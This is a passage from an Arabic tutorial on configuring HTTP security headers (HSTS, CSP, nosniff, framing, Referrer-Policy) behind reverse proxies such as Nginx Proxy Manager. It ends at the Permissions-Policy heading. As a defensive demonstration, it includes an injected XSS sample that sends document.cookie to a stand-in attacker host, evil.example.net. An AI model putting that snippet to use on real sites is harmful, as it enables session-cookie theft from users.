إذا اتبعت دليل Nginx Proxy Manager وفعلت الشهادة وخيار HSTS ثم أرسلت إلى تطبيقك طلباً واحداً بالأمر curl -sI، فسوف ترى شيئاً قريباً من المخرج التالي، وهو مخرج حقيقي لتطبيق خلف NPM 2.16.0 دون أي إعداد إضافي:
HTTP/1.1 200 OK
Server: openresty
Date: Mon, 05 Oct 2026 09:48:22 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 596
Connection: keep-alive
Accept-Ranges: bytes
Etag: "dlwt1lydmdr4gk"
Last-Modified: Mon, 05 Oct 2026 09:42:14 GMT
Set-Cookie: session=abc123; Path=/
Vary: Accept-Encoding
X-Powered-By: PHP/8.4.12
Strict-Transport-Security: max-age=63072000; preload
X-Served-By: app.example.comوفي هذه السطور القليلة عدة مشكلات لا تظهر لمن يفتح الموقع في المتصفح، فالسيرفر يعلن اسمه ويعلن التطبيق لغته وإصدارها، وملف تعريف الارتباط Cookie الذي يحمل الجلسة يمكن أن يقرأه أي سكربت في الصفحة ويمكن أن يرسل عبر HTTP، ولا يوجد ما يمنع عرض الصفحة داخل إطار في موقع آخر أو تنفيذ سكربت محقون فيها، وفوق ذلك يحمل HSTS الكلمة preload التي لم يطلبها أحد، وهي كلمة يصعب التراجع عنها كما سيأتي. وكل هذا يعالج بترويسات الأمان Security Headers، وهي سطور يضيفها السيرفر إلى الاستجابة فيغير بها سلوك المتصفح.
وفي دليل حماية تطبيقات الويب على مستوى HTTP ذكرنا هذه الترويسات كطبقة واحدة من طبقات الحماية، أما هذا المقال فهو المرجع الذي يشرحها بالتفصيل، وتحيل إليه بقية أدلة الموقع. وفي هذا المقال سوف نتناول:
- ما هي ترويسة الاستجابة Response Header، وكيف يقرؤها المتصفح ويطيعها.
- HSTS بالتفصيل: هجمة SSL Stripping في الزيارة الأولى، ومعنى
max-ageوincludeSubDomainsوpreload، ولماذا يصعب الخروج من القائمة المسبقة، وكيف تفعله على مراحل دون أن تقفل أدواتك الداخلية. - CSP بالتفصيل: ما الذي تمنعه، وأهم التوجيهات Directives، والفرق بين nonce وhash و
'unsafe-inline'، وكيف تبني السياسة بالصيغة Report-Only والتقارير، وما يحدث عندما تضعها أمام لوحة إدارة جاهزة. - بقية الترويسات:
X-Content-Type-OptionsوReferrer-PolicyوPermissions-Policyوترويسات Cross-Origin، وأخطاء CORS الشائعة، وخصائص ملفات تعريف الارتباط، وCache-Controlللصفحات الخاصة، وحذفServerوX-Powered-By، والترويسات التي انتهى زمنها. - الإعداد الكامل في Nginx Proxy Manager وTraefik وCaddy وHAProxy مع مخرجات حقيقية، ثم طرق الاختبار، ومجموعة أساسية ومجموعة أشد، وقائمة تحقق.
ما هي ترويسة الاستجابة، ولماذا يطيعها المتصفح؟
عندما يطلب المتصفح Browser صفحة من السيرفر، يعود الرد في جزأين: الترويسات Headers وهي سطور بالشكل الاسم: القيمة، ثم جسم الاستجابة Body وهو الصفحة نفسها، والمستخدم يرى الجسم فقط، أما الترويسات فيقرؤها المتصفح قبل أن يعرض أي شيء، ويقرر منها كيف يتعامل مع الصفحة، فالترويسة Content-Type تخبره أن هذا HTML وليس صورة، والترويسة Set-Cookie تطلب منه أن يحفظ قيمة ويعيدها مع كل طلب، وتجد القائمة الكاملة في مرجع MDN لترويسات HTTP.
وترويسات الأمان هي تعليمات من نفس النوع، ولكنها تطلب من المتصفح أن يقيد نفسه: لا تفتح هذا النطاق عبر HTTP، ولا تشغل سكربتاً لا أعرفه، ولا تعرض صفحتي في إطار، ولا ترسل عنوان الصفحة إلى موقع آخر. ويمكن تشبيهها بالتعليمات المطبوعة على علبة الدواء، فالصيدلي لا يرافقك إلى البيت، ولكنه يكتب على العلبة ما يجب أن تفعله وما لا يجب، والمتصفح الحديث يلتزم بها لأنه هو الطرف الذي يحمي المستخدم في النهاية.
ومن هنا تفهم ثلاث قواعد سوف تتكرر في المقال:
- الترويسة لا تحمي السيرفر من المهاجم، وإنما تحمي المستخدم من أن يستخدم المتصفح ضده، فإذا كانت في التطبيق ثغرة SQL Injection فلن تمنعها أي ترويسة.
- المتصفح هو الذي ينفذ، لذلك يتجاهل بعض الترويسات إذا جاءت في ظروف لا يثق بها، فترويسة HSTS التي تصل عبر HTTP غير المشفر يتجاهلها تماماً كما يشترط المعيار، والسبب أن أي شخص في الطريق يستطيع أن يكتبها أو يحذفها.
- من يضيف الترويسة؟ إما التطبيق نفسه أو ال Reverse Proxy الذي أمامه، وكلاهما صحيح، ولكن ال Reverse Proxy هو المكان الأنسب للترويسات المشتركة بين كل التطبيقات، والسبب أنك تكتبها مرة واحدة وتحمي بها تطبيقات لا تملك كودها، أما ما يرتبط بكود الصفحة مثل CSP المبنية على nonce فمكانه التطبيق، كما سيأتي.
HSTS: لا تفتح هذا النطاق عبر HTTP مرة أخرى
المشكلة: الطلب الأول يخرج دون تشفير
عندما يكتب المستخدم app.example.com في شريط العنوان دون https://، أو يضغط رابطاً قديماً يبدأ بـ http://، فإن الطلب الأول يخرج من جهازه عبر HTTP غير مشفر، ثم يرد السيرفر بتحويل Redirect إلى HTTPS، والحل الأول الذي يخطر على البال هو أن هذا التحويل يكفي، فالمستخدم سوف يصل إلى HTTPS في النهاية. ولكن هذا الحل يفشل إذا كان بين المستخدم والسيرفر من يتحكم في الشبكة، كشبكة Wi-Fi مفتوحة في مقهى أو فندق، والسبب أن هذا الطرف يرى الطلب الأول ويستطيع أن يرد عليه بنفسه.
وهذه الهجمة اسمها SSL Stripping، وعرضها الباحث Moxie Marlinspike في مؤتمر Black Hat DC سنة 2009 في محاضرة New Tricks for Defeating SSL in Practice مع أداة اسمها sslstrip، وفكرتها بسيطة: يستقبل المهاجم طلب HTTP من المستخدم، ويفتح هو اتصال HTTPS حقيقياً مع السيرفر، ثم يعيد الصفحة إلى المستخدم عبر HTTP بعد أن يغير روابطها من https:// إلى http://، فيرى المستخدم صفحة الدخول الطبيعية دون القفل فقط، ويكتب كلمة المرور فيقرؤها المهاجم كنص واضح. والشكل التالي يبين الفرق بين الحالتين:

والحل الذي جاء بعد هذه المحاضرة هو المعيار RFC 6797 الذي صدر سنة 2012 باسم HTTP Strict Transport Security واختصاراً HSTS، وفكرته أن يرسل السيرفر عبر HTTPS الترويسة Strict-Transport-Security، فيحفظ المتصفح أن هذا النطاق يعمل عبر HTTPS فقط، ومن تلك اللحظة يحول أي رابط http:// لهذا النطاق إلى https:// داخل الجهاز قبل أن يخرج أي طلب، فلا يجد المهاجم طلب HTTP يعترضه أصلاً.
ويضيف المعيار قاعدة ثانية لا تقل أهمية، وهي أن أي خطأ في الشهادة مع نطاق يحمل HSTS يجب أن يوقف الاتصال دون أن يعطي المستخدم خياراً بالمتابعة، أو كما يسميه القسم 12.1 من المعيار «no user recourse»، والسبب أن المهاجم الذي لم يستطع أن يجرد الاتصال من التشفير سوف يجرب شهادة مزيفة، والمستخدم العادي يضغط «المتابعة على أي حال» في أغلب الأحيان، أما مع HSTS فلا يوجد هذا الزر.
قراءة الترويسة جزءاً جزءاً
Strict-Transport-Security: max-age=31536000; includeSubDomainsmax-age: المدة بالثواني التي يتذكر فيها المتصفح السياسة، والقيمة31536000سنة كاملة، وكل استجابة HTTPS جديدة تحمل الترويسة تجدد العداد من جديد، لذلك يبقى الزائر الدائم محمياً ما دام يزور الموقع خلال المدة.includeSubDomains: تشمل السياسة كل نطاق فرعي Subdomain تحت هذا النطاق، فإذا أرسلهاexample.comطبقها المتصفح علىapp.example.comوnas.example.comوأي اسم آخر، حتى لو لم يزره المستخدم من قبل.preload: ليست جزءاً من المعيار، وإنما علامة تطلب بها إدراج النطاق في القائمة المسبقة المدمجة في المتصفحات، وسوف نشرحها في القسم التالي.
وقد يتساءل البعض: إذا أخطأت في الإعداد، كيف ألغي HSTS؟ والإجابة أن ترسل max-age=0، فيتوقف المتصفح عن اعتبار النطاق نطاق HSTS كما يقول القسم 6.1.1 من المعيار، ولكن انتبه إلى أن المتصفح لا يقرأ هذه القيمة إلا عبر HTTPS، فإذا كانت المشكلة أن الشهادة نفسها لا تعمل، فلن يصل إليه الإلغاء حتى تصلحها، وهذا ما ينبه إليه توثيق MDN. وفي Chrome تستطيع أن ترى السياسة المحفوظة لأي نطاق وأن تحذفها من جهازك أنت فقط عبر الصفحة chrome://net-internals/#hsts، ولكنك لا تستطيع أن تفعل ذلك على أجهزة مستخدميك.
القائمة المسبقة Preload List: لماذا يصعب الخروج منها؟
بقيت ثغرة واحدة لم يحلها HSTS، وهي الزيارة الأولى نفسها، فالمتصفح الذي لم يزر النطاق من قبل لم ير الترويسة بعد، والمعيار يعترف بذلك في القسم 14.6، ويقترح الحل الذي يطبقه الجميع اليوم: قائمة نطاقات مدمجة في كود المتصفح نفسه، تستضيفها Google في hstspreload.org وتعتمد عليها المتصفحات الرئيسية، فيعامل المتصفح النطاق المدرج كنطاق HSTS من أول زيارة.
ولكي يقبل الموقع طلب الإدراج يشترط ما يلي:
- شهادة صالحة.
- تحويل HTTP إلى HTTPS على نفس الاسم إذا كان السيرفر يستمع على المنفذ 80.
- كل النطاقات الفرعية تعمل عبر HTTPS.
- ترويسة HSTS على النطاق الرئيسي Root Domain فيها
max-ageسنة على الأقل، أي31536000، معincludeSubDomainsوpreload.
والمشكلة في الخروج، فالموقع نفسه يقول إن الإدراج لا يمكن التراجع عنه بسهولة، وإن حذف النطاق ممكن ولكنه يستغرق شهوراً حتى يصل إلى المستخدمين مع تحديثات Chrome، دون ضمان لبقية المتصفحات، والسبب أن القائمة جزء من كود المتصفح، فتصل بتحديثه وتخرج بتحديثه. وحتى صفحة chrome://net-internals/#hsts تكتب صراحة أنك لا تستطيع حذف النطاقات المدرجة مسبقاً. ويضيف hstspreload.org تنبيهاً مهماً لمن يدير شبكة داخلية: الإدراج يشمل كل النطاقات الفرعية، بما فيها الداخلية التي لا يصل إليها أحد من الإنترنت، فإذا كان لديك printer.example.com في المكتب يعمل عبر HTTP فقط، فلن يفتحه أي متصفح بعد الإدراج.
ولاحظ أيضاً أن الموقع يعتبر وجود الكلمة preload في الترويسة طلباً للإدراج، أي موافقة منك، لذلك لا تضعها إلا عن قرار، وهنا تأتي المشكلة التي رأيتها في أول المقال، فخيار HSTS في تبويب SSL في Nginx Proxy Manager يكتب في القالب _hsts_map.conf القيمة max-age=63072000; preload دائماً، ويضيف includeSubDomains إذا فعلت HSTS Subdomains، وعندها تكتمل كل الشروط على النطاق الرئيسي دون أن تقصد. وسوف نرى في قسم الإعداد كيف تكتب الترويسة بقيمتك أنت.
التفعيل على مراحل: من خمس دقائق إلى سنة
الخطأ الشائع أن تبدأ بسنة كاملة مع includeSubDomains من اليوم الأول، فإذا اكتشفت بعد أسبوع أن أداة داخلية تعمل عبر HTTP فقط، فكل متصفح زار الموقع خلال هذا الأسبوع لن يفتحها لمدة سنة. والطريقة الصحيحة هي التي يوصي بها hstspreload.org نفسه: تبدأ بمدة قصيرة، وتراقب في كل مرحلة الصفحات المكسورة وحركة الموقع، ثم ترفعها:
| المرحلة | القيمة | ما تراقبه |
|---|---|---|
| خمس دقائق | max-age=300; includeSubDomains | أن كل نطاق فرعي يفتح عبر HTTPS بشهادة صالحة |
| أسبوع | max-age=604800; includeSubDomains | تجديد الشهادات تلقائياً، وأدوات الفريق الداخلية |
| شهر | max-age=2592000; includeSubDomains | أي شكوى من مستخدم لا يصل إلى خدمة |
| سنة أو أكثر | max-age=31536000; includeSubDomains | وأضف preload هنا فقط إذا قررت الإدراج |
وقبل أن تضيف includeSubDomains على النطاق الرئيسي اكتب قائمة بكل الأسماء تحته، ولا تكتفي بلوحة DNS العامة، والسبب أن الأسماء التي تكسر غالباً ليست فيها: واجهة الراوتر Router، وجهاز NAS، والطابعة، ولوحة الكاميرات، وأداة قديمة على منفذ غريب، وأي اسم في DNS داخلي Split DNS. وإذا كان أحدها لا يستطيع أن يعمل عبر HTTPS، فلا تضف includeSubDomains على النطاق الرئيسي، وضع HSTS على كل تطبيق باسمه فقط.
Content-Security-Policy: قائمة بما يسمح للصفحة أن تحمله
ما الذي تمنعه CSP؟
في هجمة XSS واختصارها لـ Cross-Site Scripting ينجح المهاجم في وضع سكربت داخل صفحتك، كتعليق يحتوي <script> لم ينظفه التطبيق، فيعمل في متصفح كل من يفتح الصفحة بصلاحيات المستخدم نفسه، فيقرأ ملفات تعريف الارتباط ويرسل البيانات إلى موقع المهاجم وينفذ أي عملية باسم المستخدم. والترويسة Content-Security-Policy واختصاراً CSP لا تصلح الثغرة في التطبيق، وإنما تخبر المتصفح من أين يسمح للصفحة أن تحمل السكربتات والصور والخطوط والاتصالات، وما لا يطابق السياسة يرفضه المتصفح ولو كان داخل الصفحة نفسها. والشكل التالي يبين ذلك على صفحة فيها سكربت التطبيق وثلاثة أشياء محقونة، وهي نفس الصفحة التي سوف نختبرها بعد قليل:

والسياسة نفسها توجيهات Directives يفصل بينها ;، وكل توجيه نوع من الموارد ومعه المصادر المسموحة، وأهمها ما يلي، والتفصيل الكامل في معيار CSP Level 3 من W3C:
| التوجيه | ما يتحكم فيه | ملاحظة |
|---|---|---|
default-src | القيمة الافتراضية لكل أنواع الموارد التي لم تحدد لها توجيهاً | ابدأ به دائماً، عادة 'self' |
script-src | السكربتات، الخارجية والمكتوبة داخل الصفحة | أهم توجيه ضد XSS |
style-src | ملفات CSS والأنماط داخل الصفحة | كثير من التطبيقات تحتاج هنا 'unsafe-inline' |
img-src | الصور | أضف data: إذا كان التطبيق يستخدم صوراً مضمنة |
connect-src | الاتصالات من JavaScript مثل fetch وWebSocket | هو ما يمنع السكربت المحقون من إرسال البيانات إلى الخارج |
frame-ancestors | من يسمح له أن يعرض صفحتك داخل إطار | لا يرث من default-src، ولا يعمل في وسم <meta> |
form-action | العناوين التي يسمح أن ترسل إليها النماذج Forms | لا يرث من default-src |
base-uri | قيمة الوسم <base> التي تغير معنى كل رابط نسبي في الصفحة | لا يرث من default-src |
object-src | الإضافات القديمة عبر <object> و<embed> | اجعله 'none' دائماً |
upgrade-insecure-requests | يحول طلبات الموارد من http:// إلى https:// | مفيد للمواقع القديمة، ولا يغني عن HSTS |
ولاحظ في الجدول أن ثلاثة توجيهات لا ترث من default-src، وهي frame-ancestors وform-action وbase-uri، وهذا يعني أن default-src 'self' وحدها لا تمنع عرض صفحتك في إطار، لذلك تكتبها صراحة. وأما form-action فانتبه معه إلى تطبيقات الدخول الموحد SSO، فتوثيق MDN يذكر أن Chrome يطبقه أيضاً على التحويل الذي يأتي بعد إرسال النموذج بينما لا يفعل Firefox ذلك، فإذا كانت صفحة الدخول ترسل النموذج ثم تحول إلى مزود الهوية في نطاق آخر، فأضف هذا النطاق إلى form-action أو اتركه دون قيد على هذا التطبيق.
السكربتات داخل الصفحة: من القائمة إلى nonce وhash
الحل الأول الذي يكتبه أغلب الناس هو قائمة بالمصادر المسموحة Allowlist، مثل script-src 'self' https://cdn.example.net، وهذه القائمة جيدة للسكربتات الخارجية، ولكن أغلب هجمات XSS لا تحمل سكربتاً من موقع آخر، وإنما تضع الكود مباشرة داخل الصفحة. وهنا يصطدم المطور بأن تطبيقه نفسه يحتوي سكربتات داخل الصفحة Inline Scripts، فيكتب الحل الثاني وهو 'unsafe-inline' حتى يعمل التطبيق، وهذا الحل غير مناسب إطلاقاً، والسبب أن المتصفح لا يستطيع أن يفرق بين سكربتك المكتوب داخل الصفحة وسكربت المهاجم المكتوب داخل تعليق، فإذا سمحت بالأول سمحت بالثاني، وبالتالي تعطل CSP أهم ما جاءت من أجله، ويضيف دليل MDN أن قوائم المصادر صعبة الصيانة وكثيراً ما تسمح بنطاقات غير آمنة دون قصد.
والحل الأنسب أن تعطي سكربتاتك علامة لا يعرفها المهاجم، وهناك طريقتان:
- nonce: قيمة عشوائية يولدها التطبيق مع كل استجابة، فيكتبها في الترويسة
script-src 'nonce-القيمة'وفي كل وسم سكربت<script nonce="القيمة">، والمهاجم الذي يكتب سكربته في تعليق لا يعرف القيمة لأنها تتغير مع كل طلب. والشرط أن تكون عشوائية فعلاً ومختلفة في كل استجابة، لذلك يولدها التطبيق ولا يكتبها ال Reverse Proxy بقيمة ثابتة. - hash: بصمة SHA-256 لمحتوى السكربت نفسه، تكتبها في الترويسة بالشكل
'sha256-...'، فيحسب المتصفح بصمة كل سكربت داخل الصفحة ولا يشغل إلا ما يطابق، وهذه الطريقة مناسبة للسكربت الثابت الذي لا يتغير محتواه، ويمكن وضعها في ال Reverse Proxy.
وعندما تحتوي السياسة على nonce أو hash يتجاهل المتصفح 'unsafe-inline' إذا وجدها معها كما يقول المعيار، ولذلك يوصي دليل MDN بما يسميه Strict CSP، أي سياسة مبنية على nonce أو hash بدلاً من قائمة النطاقات:
Content-Security-Policy: script-src 'nonce-{RANDOM}'; object-src 'none'; base-uri 'none'لنأخذ مثالاً عملياً، وهو صفحة فيها سكربتان للتطبيق يحملان nonce="r4nd0m"، ثم تعليق حقن فيه المهاجم سكربتاً يرسل ملف تعريف الارتباط إلى موقعه، وسكربت خارجي من evil.example.net، وصورة تتبع Tracking Pixel من نفس الموقع:
<script nonce="r4nd0m">window.v = []; document.addEventListener('securitypolicyviolation', e => window.v.push(e.effectiveDirective + ' blocked ' + e.blockedURI + ' (' + e.disposition + ')'));</script>
<script nonce="r4nd0m">window.legit = 'ran';</script>
<p>Nice post! <script>window.pwned = 'ran'; fetch('https://evil.example.net/steal?c=' + document.cookie);</script></p>
<script src="https://evil.example.net/x.js"></script>
<img src="https://evil.example.net/pixel.gif">ونرسل معها السياسة التالية من ال Reverse Proxy، والقيمة الثابتة هنا للتوضيح فقط:
Content-Security-Policy: default-src 'self'; script-src 'nonce-r4nd0m'; object-src 'none'; base-uri 'none'ثم نفتح الصفحة في Chrome ونقرأ المتغيرات التي كتبها السكربت الأول، والمخرج سوف يكون كما يلي:
{
"legit": "ran",
"pwned": null,
"violations": [
"script-src-elem blocked inline (enforce)",
"script-src-elem blocked https://evil.example.net/x.js (enforce)",
"img-src blocked https://evil.example.net/pixel.gif (enforce)"
]
}في الإعداد أعلاه لاحظ التالي:
- سكربت التطبيق عمل، لأن قيمة nonce فيه تطابق الترويسة، أما السكربت المحقون في التعليق فلم يعمل، وبالتالي لم يخرج طلب
fetchأصلاً. - السكربت الخارجي منع لأن
script-srcلا تسمح إلا بما يحمل nonce، والصورة منعت لأنdefault-src 'self'تغطي الصور، ولو حذفتdefault-srcمن السياسة لعملت الصورة، وهذا خطأ شائع، فالسياسة التي فيهاscript-srcفقط تترك الصور والاتصالات مفتوحة. - الحدث
securitypolicyviolationهو ما يراه الكود في الصفحة عند كل منع، وهو نفسه ما يظهر في Console أدوات المطور Developer Tools كرسالة خطأ.
ابدأ بالصيغة Report-Only، ثم اقرأ التقارير
إذا وضعت سياسة صارمة على تطبيق يعمل في الإنتاج دون اختبار، فغالب الظن أن جزءاً منه سوف يتعطل، لذلك تبدأ بالترويسة Content-Security-Policy-Report-Only، وهي نفس السياسة ولكن المتصفح لا يمنع شيئاً، وإنما يسجل ما كان سوف يمنعه. ونعيد التجربة السابقة بنفس السياسة بعد أن نغير اسم الترويسة فقط، والمخرج سوف يكون كما يلي:
{
"legit": "ran",
"pwned": "ran",
"violations": [
"script-src-elem blocked inline (report)",
"connect-src blocked https://evil.example.net/steal?c=session=abc123 (report)",
"connect-src blocked https://evil.example.net/steal?c=session=abc123 (report)",
"script-src-elem blocked https://evil.example.net/x.js (report)",
"img-src blocked https://evil.example.net/pixel.gif (report)"
]
}ولاحظ هنا أن السكربت المحقون عمل فعلاً، وأرسل إلى موقع المهاجم ملف تعريف الارتباط session=abc123، والسبب مزدوج: الصيغة Report-Only لا تمنع شيئاً، وملف تعريف الارتباط لا يحمل الخاصية HttpOnly فيستطيع JavaScript قراءته، وسوف نعالج الثانية في قسم ملفات تعريف الارتباط. لذلك الصيغة Report-Only أداة قياس وليست حماية، فلا تتركها شهوراً وتظن أن التطبيق محمي.
وقراءة المخالفات من Console كل مستخدم غير ممكنة، لذلك تطلب من المتصفح أن يرسلها إليك، والطريقة الحالية هي التوجيه report-to مع الترويسة Reporting-Endpoints التي تعطي اسماً لعنوان الاستقبال، أما التوجيه القديم report-uri فقد أعلن المعيار أنه مهجور Deprecated لصالح report-to، ويقترح توثيق MDN أن تكتب الاثنين معاً إذا أردت أن تصل التقارير من المتصفحات القديمة أيضاً، والمتصفح الذي يفهم report-to يتجاهل الآخر. والإعداد التالي يرسل التقارير إلى المسار /csp-reports على نفس النطاق:
Reporting-Endpoints: csp="https://app.example.com/csp-reports"
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'nonce-r4nd0m'; object-src 'none'; base-uri 'none'; report-to cspوخلف هذا المسار يكفي أي برنامج صغير يكتب جسم الطلب في السجل، والمثال التالي بـ Node.js يستقبل التقرير ويطبعه ويرد بالرمز 204:
require('http').createServer((req, res) => {
let body = '';
req.on('data', c => body += c);
req.on('end', () => { console.log(req.method, req.url, req.headers['content-type']); console.log(body); res.writeHead(204); res.end(); });
}).listen(8080);وبعد فتح الصفحة يصل التقرير الأول فوراً، وبقية المخالفات تصل مجمعة في طلب واحد بعد نحو دقيقة، والسبب أن واجهة التقارير Reporting API تجمع التقارير وترسلها على دفعات، والمخرج سوف يكون كما يلي (اختصرنا الطلب الثاني إلى تقرير واحد من ثلاثة):
POST /csp-reports application/reports+json
[{"age":0,"body":{"blockedURL":"inline","disposition":"report","documentURL":"https://app.example.com/","effectiveDirective":"script-src-elem","lineNumber":7,"originalPolicy":"default-src 'self'; script-src 'nonce-r4nd0m'; object-src 'none'; base-uri 'none'; report-to csp","referrer":"","sample":"","sourceFile":"https://app.example.com/","statusCode":200},"type":"csp-violation","url":"https://app.example.com/","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/154.0.0.0 Safari/537.36"}]
POST /csp-reports application/reports+json
[{"age":60013,"body":{"blockedURL":"https://evil.example.net/steal?c=session=abc123","columnNumber":45,"disposition":"report","documentURL":"https://app.example.com/","effectiveDirective":"connect-src","lineNumber":7,"originalPolicy":"default-src 'self'; script-src 'nonce-r4nd0m'; object-src 'none'; base-uri 'none'; report-to csp","referrer":"","sample":"","sourceFile":"https://app.example.com/","statusCode":200},"type":"csp-violation","url":"https://app.example.com/","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/154.0.0.0 Safari/537.36"}]في المخرج أعلاه لاحظ التالي:
- نوع المحتوى
application/reports+jsonوالنوعcsp-violation، وكل تقرير فيه التوجيه الذي خولفeffectiveDirectiveوالمورد الممنوعblockedURLورقم السطر، وهذا ما تحتاجه لتقرر: هل هذا مورد مشروع تضيفه إلى السياسة، أم هجمة أو إضافة في متصفح المستخدم تتجاهلها؟ - القيمة
disposition: reportتعني أن السياسة كانت بالصيغة Report-Only، وفي السياسة المفعلة تصبحenforce. - هذا المسار يستقبل طلبات من أي أحد، لذلك ضع عليه حداً لمعدل الطلبات وحجم الطلب كما شرحنا في دليل حماية تطبيقات الويب على مستوى HTTP، ولا تعرض محتوى التقارير في صفحة دون تنظيفه، فهو نص كتبه متصفح قد يتحكم فيه المهاجم.
والترتيب العملي إذن: سياسة Report-Only مع التقارير، ثم تمر على صفحات التطبيق كلها وتقرأ التقارير أسبوعاً، وتضيف المصادر المشروعة، وعندما تبقى المخالفات الغريبة فقط تحول الترويسة إلى Content-Security-Policy، ويمكنك أن ترسل الترويستين معاً، فتفعل سياسة مخففة وتختبر الأشد بجانبها، كما ينص دليل MDN.
عندما تضع CSP أمام تطبيق لا تملك كوده
أغلب ما تشغله على سيرفرك تطبيقات جاهزة، ولوحات الإدارة فيها كثيراً ما تستخدم سكربتات وأنماطاً داخل الصفحة. ولنأخذ مثالاً حقيقياً من لوحة إدارة Nginx Proxy Manager 2.16.0 نفسها، فإذا وضعت أمامها سياسة تبدو معقولة، وهي default-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'، ثم فتحت صفحة الدخول في Chrome وجمعت المخالفات، فالمخرج سوف يكون كما يلي:
{
"violations": [
"script-src-elem blocked inline (enforce)",
"style-src-elem blocked inline (enforce)"
],
"text": "Login to your account\nEmail address\nPassword\nSign in\nv2.16.0"
}فصفحة الدخول ظهرت، ولكن المتصفح منع سكربتاً داخل الصفحة ونمطاً داخلها، وإذا قرأت كود الصفحة وجدت السكربت التالي في آخرها:
<script>
if (global === undefined) {
var global = window;
}
</script>والحل السيئ أن تضيف 'unsafe-inline' إلى script-src، أما الحل الأنسب فهو hash لهذا السكربت تحديداً، لأن محتواه ثابت في هذا الإصدار، وتحسبه بالأمر التالي:
curl -s http://127.0.0.1:81/ | node -e 'const s=require("fs").readFileSync(0,"utf8"); for (const m of s.matchAll(/<script>([\s\S]*?)<\/script>/g)) console.log("sha256-" + require("crypto").createHash("sha256").update(m[1]).digest("base64"))'والمخرج سوف يكون كما يلي:
sha256-DO5PcuswBpDi7xOFPuj86dwr9VuamByHpvk2ZDmlAAA=ثم نكتب السياسة بهذه البصمة، ونقبل 'unsafe-inline' في style-src فقط، لأن الأنماط التي تضيفها مكتبات الواجهة يصعب حصرها، وخطرها أقل بكثير من السكربتات:
Content-Security-Policy: default-src 'self'; script-src 'self' 'sha256-DO5PcuswBpDi7xOFPuj86dwr9VuamByHpvk2ZDmlAAA='; style-src 'self' 'unsafe-inline'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'وعند فتح الصفحة مرة أخرى أصبحت قائمة المخالفات فارغة "violations": []. ولكن تذكر أن البصمة مرتبطة بالمحتوى حرفاً بحرف، فإذا غير تحديث NPM القادم مسافة واحدة في هذا السكربت فسوف يمنعه المتصفح من جديد، لذلك اجعل فحص Console بعد كل تحديث جزءاً من خطوات تحديث التطبيق، وأبق السياسة بالصيغة Report-Only على اللوحات التي تتحدث كثيراً.
وقبل أن تضيف أي CSP من ال Reverse Proxy افحص استجابة التطبيق نفسه بالأمر curl -sI، فكثير من التطبيقات الحديثة ترسل سياستها الخاصة، وفي هذه الحالة لا تضف سياسة ثانية، والسبب أن المعيار يطبق كل السياسات المفعلة معاً، فلا يمر مورد إلا إذا سمحت به كل واحدة منها، وبالتالي تمنع سياستك ما سمح به مطورو التطبيق دون أن تنتبه، والأنسب في هذه الحالة أن تضيف من ال Reverse Proxy ما لا يرسله التطبيق فقط.
script-src 'self' لم تكن لتمنعه، ولكن سياسة تقصر connect-src وبقية الموارد على نطاقات معروفة كانت سوف تجعل المتصفح يرفض الإرسال إلى نطاق غريب، وترسل تقريراً عن كل محاولة، والدرس أن تقارير CSP هي أيضاً جهاز إنذار.بقية الترويسات: ما تضيفه وما تحذفه
X-Content-Type-Options: لا تخمن نوع الملف
الترويسة X-Content-Type-Options: nosniff تمنع المتصفح من تخمين نوع الملف من محتواه Content Sniffing، فيعتمد على Content-Type كما أرسله السيرفر، ويمنع تحميل ملف كسكربت إذا لم يكن نوعه JavaScript، أو كملف CSS إذا لم يكن text/css. وهذا مهم جداً لأي تطبيق يسمح برفع الملفات، والسبب أن المهاجم يرفع ملفاً محتواه JavaScript باسم صورة، ثم يحاول أن يحمله كسكربت من صفحة أخرى، ومع هذه الترويسة يرفضه المتصفح. وليس لها قيمة أخرى، ولا يوجد سبب لعدم إضافتها على كل تطبيق.
X-Frame-Options أم frame-ancestors؟
في هجمة Clickjacking يعرض المهاجم صفحتك داخل إطار شفاف فوق صفحة يتحكم فيها، فيضغط المستخدم على زر يظنه في موقع المهاجم وهو في الحقيقة زر «حذف» في تطبيقك وهو مسجل الدخول. والترويسة القديمة X-Frame-Options لها قيمتان صالحتان: DENY لا يعرض في أي إطار، وSAMEORIGIN يعرض في إطار من نفس الأصل فقط، أما ALLOW-FROM فقد أصبحت مهملة وتتجاهلها المتصفحات الحديثة تماماً. والطريقة الحديثة هي frame-ancestors داخل CSP، وهي أمرن لأنها تقبل قائمة نطاقات، ويقول معيار CSP3 إنها تحل محل X-Frame-Options، وإن المتصفح يتجاهل X-Frame-Options إذا وجد frame-ancestors في سياسة مفعلة.
وقد يتساءل البعض: لماذا نضع الاثنين معاً إذن؟ والإجابة أن X-Frame-Options لا تكلف شيئاً وتحمي المتصفحات القديمة، وأن frame-ancestors لا تمنع شيئاً إذا كانت السياسة بالصيغة Report-Only، ولا تعمل إطلاقاً في وسم <meta>، فتبقى X-Frame-Options هي الحماية الفعلية حتى تفعل CSP. وانتبه إلى التطبيقات التي تحتاج إلى العرض داخل إطار، كلوحة تدمجها في Homepage أو مستند يعرضه تطبيق آخر، فهذه تعطيها SAMEORIGIN أو frame-ancestors بالنطاق الذي يدمجها، ولا تعطيها DENY.
Referrer-Policy: ماذا يعرف الموقع الآخر عن صفحتك؟
عندما يضغط المستخدم رابطاً خارجياً يرسل المتصفح في الترويسة Referer عنوان الصفحة التي جاء منها، فإذا كان العنوان يحتوي توكن Token في رابط إعادة تعيين كلمة المرور أو رقم مستند داخلي، فقد خرج إلى موقع آخر. والترويسة Referrer-Policy تحدد ما يرسل، والقيمة strict-origin-when-cross-origin ترسل العنوان كاملاً داخل موقعك، واسم النطاق فقط إلى المواقع الأخرى، ولا شيء عند الانتقال من HTTPS إلى HTTP. وهذه القيمة هي الافتراضية في المتصفحات الحديثة إذا لم ترسل الترويسة، ولكننا نكتبها صراحة لأن التطبيق أو صفحة فيه قد تغيرها إلى قيمة أضعف، وللتطبيقات الحساسة جداً استخدم no-referrer فلا يرسل شيء إطلاقاً.
Permissions-Policy: الكاميرا والميكروفون والموقع
